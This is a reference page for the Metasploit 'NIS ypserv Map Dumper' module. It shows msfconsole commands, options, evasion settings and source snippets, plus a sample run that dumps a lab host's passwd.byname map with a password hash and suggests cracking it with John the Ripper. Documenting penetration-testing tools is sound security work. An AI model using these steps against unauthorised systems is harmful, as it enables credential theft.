NIS ypserv Map Dumper - Metasploit


This page contains detailed information about how to use the auxiliary/gather/nis_ypserv_map metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: NIS ypserv Map Dumper
Module: auxiliary/gather/nis_ypserv_map
Source code: modules/auxiliary/gather/nis_ypserv_map.rb
Disclosure date: -
Last modification time: 2020-01-16 14:21:09 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 111
List of CVEs: -

This module dumps the specified map from NIS ypserv. The following examples are from ypcat -x: Use "ethers" for map "ethers.byname" Use "aliases" for map "mail.aliases" Use "services" for map "services.byname" Use "protocols" for map "protocols.bynumber" Use "hosts" for map "hosts.byname" Use "networks" for map "networks.byaddr" Use "group" for map "group.byname" Use "passwd" for map "passwd.byname" You may specify a map by one of the nicknames above.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/gather/nis_ypserv_map
msf auxiliary(nis_ypserv_map) > show targets
    ... a list of targets ...
msf auxiliary(nis_ypserv_map) > set TARGET target-id
msf auxiliary(nis_ypserv_map) > show options
    ... show and set options ...
msf auxiliary(nis_ypserv_map) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • DOMAIN: NIS domain

Knowledge Base

Introduction

If you've worked with old Unix systems before, you've probably encountered NIS (Network Information Service). The most familiar way of describing it is a sort of hybrid between DNS and LDAP.

Oracle says the following about it:

NIS is a distributed naming service. It is a mechanism for identifying and locating network objects and resources. It provides a uniform storage and retrieval method for network-wide information in a transport-protocol and media-independent fashion.

And on its use:

By running NIS, the system administrator can distribute administrative databases, called maps, among a variety of servers (master and slaves). The administrator can update those databases from a centralized location in an automatic and reliable fashion to ensure that all clients share the same naming service information in a consistent manner throughout the network.

The module documented within will allow a tester to dump any map from an NIS server (running as ypserv). Usually, maps like passwd.byname contain things like hashes and user info, which can go a long way during a pentest.

Setup

Set up NIS as per https://help.ubuntu.com/community/SettingUpNISHowTo. If the link is down, you can find it via the Wayback Machine.

Options

PROTOCOL

Set this to either TCP or UDP. TCP is the default due to easy discovery.

DOMAIN

Set this to your NIS domain.

MAP

Set this to the NIS map you want to dump. The default is passwd. You can use the nicknames described in the module info instead of the full map names.

XDRTimeout

Set this to the timeout in seconds for XDR decoding of the response.

Usage

msf > use auxiliary/gather/nis_ypserv_map
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.0.2
rhost => 192.168.0.2
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
domain => gesellschaft
msf auxiliary(gather/nis_ypserv_map) > run

[+] 192.168.0.2:111 - Dumping map passwd.byname on domain gesellschaft:
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
games:*:5:60:games:/usr/games:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
uuidd:*:108:112::/run/uuidd:/bin/false
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
root:*:0:0:root:/root:/bin/bash
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
messagebus:*:107:111::/var/run/dbus:/bin/false
_apt:*:105:65534::/nonexistent:/bin/false
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
syslog:*:104:108::/home/syslog:/bin/false
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
pollinate:*:111:1::/var/cache/pollinate:/bin/false
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
lxd:*:106:65534::/var/lib/lxd/:/bin/false

[*] Auxiliary module execution completed
msf auxiliary(gather/nis_ypserv_map) >

After dumping a map, you can find it stored in loot later. You should be able to run something like John the Ripper directly on the passwd.byname map.

msf auxiliary(gather/nis_ypserv_map) > loot

Loot
====

host         service  type           name  content     info  path
----         -------  ----           ----  -------     ----  ----
192.168.0.2           passwd.byname        text/plain        /home/wvu/.msf4/loot/20180108143013_default_192.168.0.2_passwd.byname_509006.txt

msf auxiliary(gather/nis_ypserv_map) >

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Msfconsole Usage

Here is how the gather/nis_ypserv_map auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/nis_ypserv_map

msf6 auxiliary(gather/nis_ypserv_map) > show info

       Name: NIS ypserv Map Dumper
     Module: auxiliary/gather/nis_ypserv_map
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  wvu <[email protected]>

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  DOMAIN                     yes       NIS domain
  MAP       passwd           yes       NIS map to dump
  PROTOCOL  tcp              yes       Protocol to use (Accepted: tcp, udp)
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     111              yes       The target port (TCP)

Description:
  This module dumps the specified map from NIS ypserv. The following 
  examples are from ypcat -x: Use "ethers" for map "ethers.byname" Use 
  "aliases" for map "mail.aliases" Use "services" for map 
  "services.byname" Use "protocols" for map "protocols.bynumber" Use 
  "hosts" for map "hosts.byname" Use "networks" for map 
  "networks.byaddr" Use "group" for map "group.byname" Use "passwd" 
  for map "passwd.byname" You may specify a map by one of the 
  nicknames above.

References:
  https://tools.ietf.org/html/rfc1831
  https://tools.ietf.org/html/rfc4506

Module Options

This is a complete list of options available in the gather/nis_ypserv_map auxiliary module:

msf6 auxiliary(gather/nis_ypserv_map) > show options

Module options (auxiliary/gather/nis_ypserv_map):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DOMAIN                     yes       NIS domain
   MAP       passwd           yes       NIS map to dump
   PROTOCOL  tcp              yes       Protocol to use (Accepted: tcp, udp)
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     111              yes       The target port (TCP)

Advanced Options

Here is a complete list of advanced options supported by the gather/nis_ypserv_map auxiliary module:

msf6 auxiliary(gather/nis_ypserv_map) > show advanced

Module advanced options (auxiliary/gather/nis_ypserv_map):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   TIMEOUT         10               yes       Number of seconds to wait for responses to RPC calls
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module
   XDRTimeout      10.0             yes       XDR decoding timeout

Auxiliary Actions

This is a list of all auxiliary actions that the gather/nis_ypserv_map module can do:

msf6 auxiliary(gather/nis_ypserv_map) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the gather/nis_ypserv_map auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/nis_ypserv_map) > show evasion

Module evasion options:

   Name                               Current Setting  Required  Description
   ----                               ---------------  --------  -----------
   ONCRPC::tcp_request_fragmentation  false            no        Enable fragmentation of TCP ONC/RPC requests
   TCP::max_send_size                 0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                    0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not connect to portmapper

Here is a relevant code snippet related to the "Could not connect to portmapper" error message:

56:	        proto,  # Protocol: TCP (6)
57:	        100004, # Program: YPSERV (100004)
58:	        2       # Program Version: 2
59:	      )
60:	    rescue Rex::ConnectionError
61:	      fail_with(Failure::Unreachable, 'Could not connect to portmapper')
62:	    rescue Rex::Proto::SunRPC::RPCError
63:	      fail_with(Failure::Unreachable, 'Could not connect to ypserv')
64:	    end
65:	
66:	    # Flavor: AUTH_NULL (0)

Could not connect to ypserv

Here is a relevant code snippet related to the "Could not connect to ypserv" error message:

58:	        2       # Program Version: 2
59:	      )
60:	    rescue Rex::ConnectionError
61:	      fail_with(Failure::Unreachable, 'Could not connect to portmapper')
62:	    rescue Rex::Proto::SunRPC::RPCError
63:	      fail_with(Failure::Unreachable, 'Could not connect to ypserv')
64:	    end
65:	
66:	    # Flavor: AUTH_NULL (0)
67:	    sunrpc_authnull
68:

Could not call ypserv procedure

Here is a relevant code snippet related to the "Could not call ypserv procedure" error message:

76:	      res = sunrpc_call(
77:	        8,              # Procedure: ALL (8)
78:	        ypserv_all_call # Yellow Pages Service ALL call
79:	      )
80:	    rescue Rex::Proto::SunRPC::RPCError
81:	      fail_with(Failure::NotFound, 'Could not call ypserv procedure')
82:	    ensure
83:	      # Shut it down! Shut it down forever!
84:	      sunrpc_destroy
85:	    end
86:

Invalid response from server

Here is a relevant code snippet related to the "Invalid response from server" error message:

83:	      # Shut it down! Shut it down forever!
84:	      sunrpc_destroy
85:	    end
86:	
87:	    unless res && res.length > 8
88:	      fail_with(Failure::UnexpectedReply, 'Invalid response from server')
89:	      return
90:	    end
91:	
92:	    # XXX: Rex::Encoder::XDR doesn't do signed ints
93:	    case res[4, 4].unpack('l>').first

Invalid map <MAP_NAME> specified

Here is a relevant code snippet related to the "Invalid map <MAP_NAME> specified" error message:

91:	
92:	    # XXX: Rex::Encoder::XDR doesn't do signed ints
93:	    case res[4, 4].unpack('l>').first
94:	    # Status: YP_NOMAP (-1)
95:	    when -1
96:	      fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
97:	    # Status: YP_NODOM (-2)
98:	    when -2
99:	      fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
100:	    end
101:

Invalid domain <DOMAIN> specified

Here is a relevant code snippet related to the "Invalid domain <DOMAIN> specified" error message:

94:	    # Status: YP_NOMAP (-1)
95:	    when -1
96:	      fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
97:	    # Status: YP_NODOM (-2)
98:	    when -2
99:	      fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
100:	    end
101:	
102:	    map = begin
103:	      Timeout.timeout(datastore['XDRTimeout']) do
104:	        parse_map(res)

Could not parse map <MAP_NAME>

Here is a relevant code snippet related to the "Could not parse map <MAP_NAME>" error message:

108:	                'XDR decoding timed out (try increasing XDRTimeout?)')
109:	      return
110:	    end
111:	
112:	    if map.blank?
113:	      fail_with(Failure::Unknown, "Could not parse map #{map_name}")
114:	      return
115:	    end
116:	
117:	    map_file = map.values.join("\n") + "\n"
118:

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References

See Also

Check also the following modules related to this module:

Authors

wvu

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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